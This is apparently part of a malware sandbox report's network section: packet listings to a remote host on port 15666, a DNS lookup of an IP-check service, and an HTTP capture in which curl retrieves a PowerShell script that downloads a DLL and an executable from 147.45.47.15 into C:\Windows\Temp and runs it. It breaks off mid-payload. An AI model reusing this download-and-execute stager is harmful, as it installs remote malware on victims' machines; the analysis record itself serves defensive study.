Dec 19, 2024 08:12:00.109410048 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109458923 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.109566927 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109611988 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.109673977 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109827995 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109837055 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109848976 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.109865904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.109889984 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.109913111 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.110006094 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.110224962 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.110234976 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.110285044 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.110403061 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.110486031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.110536098 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.110605001 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.110615015 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.110666990 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.110724926 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.110771894 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111000061 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111010075 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111037970 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111056089 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111077070 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111110926 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111129999 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111181021 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111221075 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111231089 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111280918 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111282110 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111332893 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111402988 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111452103 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111615896 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111660957 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111747026 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111845970 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111846924 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111855984 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111866951 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111884117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111906052 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111921072 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.111958027 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.111968040 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112013102 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112032890 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112041950 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112082958 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112202883 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112277031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112286091 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112318039 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112325907 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112370014 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112404108 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112447023 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112483978 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112548113 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112582922 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112616062 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112629890 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112665892 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112694979 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112736940 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112826109 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112880945 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112890005 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.112951994 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.112989902 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113126040 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113136053 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113156080 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.113156080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113178968 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.113198996 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.113327980 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113394022 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113404036 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113411903 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.113446951 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.113487005 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113497019 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113549948 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.113698006 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113707066 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113754034 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.113867998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113965034 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.113979101 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.113987923 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114027023 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.114029884 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114039898 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114070892 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114082098 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.114160061 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.114233017 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114243031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114278078 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.114382029 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114440918 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.114691973 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114744902 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.114814043 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114862919 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.114937067 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114947081 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114980936 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.114983082 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.114989996 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115035057 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115061998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115071058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115087986 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115109921 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115142107 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115179062 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115189075 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115226984 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115236044 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115277052 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115293026 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115302086 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115346909 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115348101 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115355968 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115401030 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115468025 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115477085 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115484953 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115494013 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115510941 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115519047 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115535021 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115565062 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115566015 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115653038 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115657091 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115667105 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115701914 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115706921 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115710020 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115751028 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115834951 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115844965 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115852118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115869045 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115879059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115883112 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115916967 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115933895 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.115955114 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.115962982 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116003990 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116034031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116117001 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116128922 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116180897 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116182089 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116239071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116271973 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116285086 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116286993 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116329908 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116411924 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116420984 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116456032 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116460085 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116590977 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116600037 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116646051 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116655111 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116687059 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116695881 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116823912 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116823912 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116835117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116867065 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116883039 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116890907 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116926908 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.116959095 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.116978884 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117022038 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117114067 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117259026 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117268085 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117309093 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117309093 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117342949 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117420912 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117458105 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117512941 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117643118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117650986 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117686987 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117690086 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117723942 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117840052 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117849112 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117857933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117887020 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117909908 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117943048 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117952108 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.117980957 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.117997885 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118088007 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118097067 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118134975 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118201971 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118211031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118257999 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118347883 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118357897 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118387938 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118401051 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118408918 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118451118 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118536949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118580103 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118617058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118626118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118659973 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118678093 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118736982 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118771076 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118778944 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118839979 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118880987 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118899107 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118928909 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118937969 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118968010 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.118983030 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.118988037 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119030952 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119143009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119151115 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119199991 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119281054 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119290113 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119333982 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119350910 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119401932 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119437933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119448900 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119493961 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119575024 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119690895 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119699955 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119735956 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119743109 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119762897 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119786978 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.119820118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.119863033 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.120023966 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.120295048 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.153131008 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.153286934 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.153393984 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.153429985 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.192733049 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.192805052 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.222187042 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.222335100 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.222623110 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.222692013 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.222742081 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.222796917 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.222842932 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.222897053 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.222939968 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.223000050 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.223046064 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.223112106 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.223176956 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.223227024 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.239089966 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.239231110 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.239342928 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.239402056 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.239459038 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.264056921 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.264208078 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.264539957 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.264606953 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.264657974 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.264714956 CET	49740	15666	192.168.2.4	193.3.19.151

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:11:52.324043036 CET	192.168.2.4	1.1.1.1	0x15b9	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:11:52.463160992 CET	1.1.1.1	192.168.2.4	0x15b9	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:52.463160992 CET	1.1.1.1	192.168.2.4	0x15b9	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:52.463160992 CET	1.1.1.1	192.168.2.4	0x15b9	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	147.45.47.15	80	4144	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:37.535695076 CET	86	OUT	GET /script.ps1 HTTP/1.1 Host: 147.45.47.15 User-Agent: curl/7.83.1 Accept: /
Dec 19, 2024 08:11:38.793356895 CET	528	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:11:38 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 18 Dec 2024 13:30:31 GMT ETag: "144-6298b6af57ff8" Accept-Ranges: bytes Content-Length: 324 Data Raw: 0d 0a 24 64 6c 6c 50 61 74 68 20 3d 20 22 43 3a 5c 57 69 6e 64 6f 77 73 5c 54 65 6d 70 5c 69 76 69 65 77 65 72 73 2e 64 6c 6c 22 0d 0a 24 65 78 65 50 61 74 68 20 3d 20 22 43 3a 5c 57 69 6e 64 6f 77 73 5c 54 65 6d 70 5c 4c 61 75 6e 63 68 65 72 2e 65 78 65 22 0d 0a 0d 0a 24 64 6c 6c 55 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 34 37 2e 34 35 2e 34 37 2e 31 35 2f 69 76 69 65 77 65 72 73 2e 64 6c 6c 22 0d 0a 24 65 78 65 55 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 34 37 2e 34 35 2e 34 37 2e 31 35 2f 4c 61 75 6e 63 68 65 72 2e 65 78 65 22 0d 0a 0d 0a 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 24 64 6c 6c 55 72 6c 20 2d 4f 75 74 46 69 6c 65 20 24 64 6c 6c 50 61 74 68 0d 0a 0d 0a 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 24 65 78 65 55 72 6c 20 2d 4f 75 74 46 69 6c 65 20 24 65 78 65 50 61 74 68 0d 0a 0d 0a 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 2d 46 69 6c 65 50 61 74 68 20 24 65 78 65 50 61 74 68 0d 0a 0d 0a Data Ascii: $dllPath = "C:\Windows\Temp\iviewers.dll"$exePath = "C:\Windows\Temp\Launcher.exe"$dllUrl = "http://147.45.47.15/iviewers.dll"$exeUrl = "http://147.45.47.15/Launcher.exe"Invoke-WebRequest -Uri $dllUrl 